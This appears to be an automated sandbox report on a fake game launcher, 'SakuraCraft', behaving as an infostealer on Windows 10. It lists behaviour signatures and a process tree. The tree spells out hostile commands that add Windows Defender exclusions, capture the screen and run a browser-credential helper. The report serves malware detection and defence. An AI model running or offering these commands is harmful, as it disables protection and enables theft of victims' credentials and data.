Analysis
- user interaction
yes - max time kernel
239s - max time network
233s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
21/04/2026, 22:57
General
- Target https://sakuracraft.net/
- Sample260421-2xdprsdv6l
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 14 IoCs
- Loads dropped DLL 34 IoCs
- Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- Drops file in Program Files directory 64 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 4 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://sakuracraft.net/1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffbfafac188,0x7ffbfafac194,0x7ffbfafac1a02⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,14402833039297272328,17343200526437997223,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,5953807148871564163,7387708404969101144,262144 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2040,i,9432416092701025547,660180991730650860,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3480,i,9460050674746815524,8697701580868398299,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3484,i,3999890062816165437,2584016162943372320,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4248,i,15866138105727584131,3342955955630005063,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4260,i,14958139597533946422,2558751975817659531,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3628,i,9250225845294123073,5425295815579900383,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,2642204055001136970,7927408460166718721,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4228,i,11257016522208528209,16921241985507608324,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,18272963047319077395,2337557264807287627,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,5902682524233036145,13320627526762150056,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,5902682524233036145,13320627526762150056,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,1183394817035457282,13493766355539141138,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,312716046037813784,4088624415441426339,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6164,i,16276130211822009512,16371983980090556336,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,1302947147764212733,7216715422808059866,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,12300876668101620175,8897589366232528132,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6208,i,6627776742317351244,16438542298073564018,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6372,i,3463619868173701888,1315538690138805320,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=6864,i,15414805493050499486,8221494444968448538,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6900 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=6504,i,13456248191698952158,4027166207589057486,2097152 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=120 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4500,i,2305853098959664874,13431065991474664282,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,5704783581368314881,11086595473755281184,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=7088 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4500,i,16187563995740973569,3420272473111629441,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4240,i,13402963874669094499,6408090189902285208,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6080,i,7150251961179109746,1070180944090695384,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,5047043250460260930,3315759058522184993,524288 --field-trial-handle=2188,i,15001451318015055226,14934120522122976582,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:82⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp1_SakuraCraft-Launcher.zip\SakuraCraft-Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_SakuraCraft-Launcher.zip\SakuraCraft-Launcher.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"2⤵
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Program Files\SakuraCraft', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\SakuraCraft' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionExtension '.exe' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionExtension '.jsc' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess 'SakuraCraft.exe' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1752,i,10711136824732204075,13917015690198039377,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1748 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --field-trial-handle=1752,i,10711136824732204075,13917015690198039377,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2068 /prefetch:32⤵
- Executes dropped EXE
-
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\SakuraCraft" --app-path="C:\Program Files\SakuraCraft\resources\app.asar" --enable-sandbox --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1776811732717928 --launch-time-ticks=595324137 --field-trial-handle=1752,i,10711136824732204075,13917015690198039377,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2472 /prefetch:12⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get manufacturer,product"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get manufacturer,product3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic systemenclosure get manufacturer"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic systemenclosure get manufacturer3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files\SakuraCraft\resources\lib\ChromElevator.exe" all --kill"2⤵
-
C:\Program Files\SakuraCraft\resources\lib\ChromElevator.exe"C:\Program Files\SakuraCraft\resources\lib\ChromElevator.exe" all --kill3⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "ver"2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap($s.Width,$s.Height); $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$s.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\screenshot.png'); $g.Dispose(); $b.Dispose();"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\SakuraCraft\SakuraCraft.exe"C:\Program Files\SakuraCraft\SakuraCraft.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
